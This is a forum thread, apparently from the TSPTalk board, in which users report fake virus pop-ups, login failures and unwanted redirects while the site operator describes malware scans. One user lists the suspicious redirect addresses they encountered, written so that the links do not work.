Now getting them from time to time when I go from thread to thread?

[burrocrat]

i got one popup earlier today on my android phone while switching between threads. it said something like "you have four virus! ..."

i'm pretty sure the plural of virus is "viruses" or "virusii", so i didn't click on it because i knew right away it was a fake and wouldn't take me to a cool porn site or nuthin.

[Stoplight]

Yes ! :D

Tom, I did manage to log in tonight without any issues, on both my desktop and Android....while here, I went ahead and changed my password, per your suggestion.

Does anyone else sometime have log in problems ? Mine has thrown me out to the "Failed login 5 times...." screen, on the 1st attempt, the last couple of days. :(

UPDATE: Spoke too soon ! When I tried to post this reply, I got thrown off the board !!! Now logged back in...


Stoplight...

[tsptalk]

Frustrating. Do use one of the apps or go straight to the forum in a mobile browser?

[Buster]

While I'm not getting any Malware, I have acquired 2898 ad-ware bugs recently...I worked about two hours last night cleaning and de-bugging files and registry of infections..
And NO, I do not go to porn sites..Only site I frequent now is this one and a liberal ATT Yahoo news page.

[tsptalk]

We're waiting to re-scan the servers until the firewall is properly in place and can be accessed properly.

[tsptalk]

Latest malware scan came up clean. If you see anything a screen shot or posting the exact message or ad you see would be helpful.

Thanks again!

[Stoplight]

Tom,


(Holding my breath !)

Logged in okay tonight....let's see what happens when I post this reply !!!!

Stoplight...

[Stoplight]

Okay...seems good !!!


Stoplight...

[PessOptimist]

Maybe. All this seems to have started after a windows update a few weeks back. Here it is the latest.

10/29 clicked new posts from newsfeeder forum and got sent here in new tab
http //techware dot online/live_support/

not sure when, going to newsfeed
https //www dot uber dot com/a/carousel-vs-1/?exp=10_25c&utm_term=wk2Tag36X1fvQ8u3R1RqS2BBUkkRPCWtw0W9Vk0&adg_id=207645&cid=314850&utm_campaign=affiliate-ir-Convertstar%20Inc dot %20(Go2Mobi)_1_-99_national_D_all_ACQ_cpa_en&utm_content=&utm_source=affiliate-ir

10/31 opened TSPTalk dot com clicked on forums new tab opened
https //s3 dot eu-central-1 dot amazonaws dot com/system32update dot com/Search_Inc_all/quickprivacycheck dot com/siv9/index dot html?cid=us5a0xoej2m2w28yffb4&var1=968177&sxid=btsa6gqfgzea


submitted reply to patio thread and got sent to
http //www dot driverupdate dot net/lp/1/?p2=^SW2^xdm589&cake_id=Pq8Wow7qqZ8ibjHpAPtejF8YVWn9FfkcTaq-SGK2fmz9JzZlv_WRGmjarZxAySEI5r91qalMERx426eQJH4Hhr ELQ2FfsObgrDCdNVYqX3Uet0IWQDyuh50KoPE2NOXN9Bav7KYU kRMulVEFg_KErgbhMqmmolAZnyUKXW9VO302qbyNA_qd_OV2yg 3aqf8AXOhjiXcNpVmPsMQj3Y87GLrEoWTxLST3lGThdGi94-zG61UWy6zpYsTrLAVlmhjTSU1aRycDcRU&offer_id=1690&sub_id=9225325b-0778-4b3a-80bd-ad6f5b882333_471151


Not sure this isn't a local problem associated with McAfee or Chrome or win10 or who knows what. Just observed it happens when logged in to TSPTalk.


Went back to TSPTalk to see if post posted and got redirected to
http //info dot search-privacy dot club/52oo2?cid=220127180851&t1=471151

clicked on forums from new posts page and this tab opened
https //www.facebook dot com/campaign/landing dot php?campaign_id=736960129747539&partner_id=inmobi&placement=1f9ba3b35db247cdbaddd10ddf0286ca&extra_1=wadogo_facebook_726_102a072b23e7c9a659f99a 540d2830&creative=57f46e627d3b4da599aaea9382f36f06&extra_2=4653

All in a new tab, sometimes the tab just opens and I stay on the current page, sometimes I go to the new tab.

PO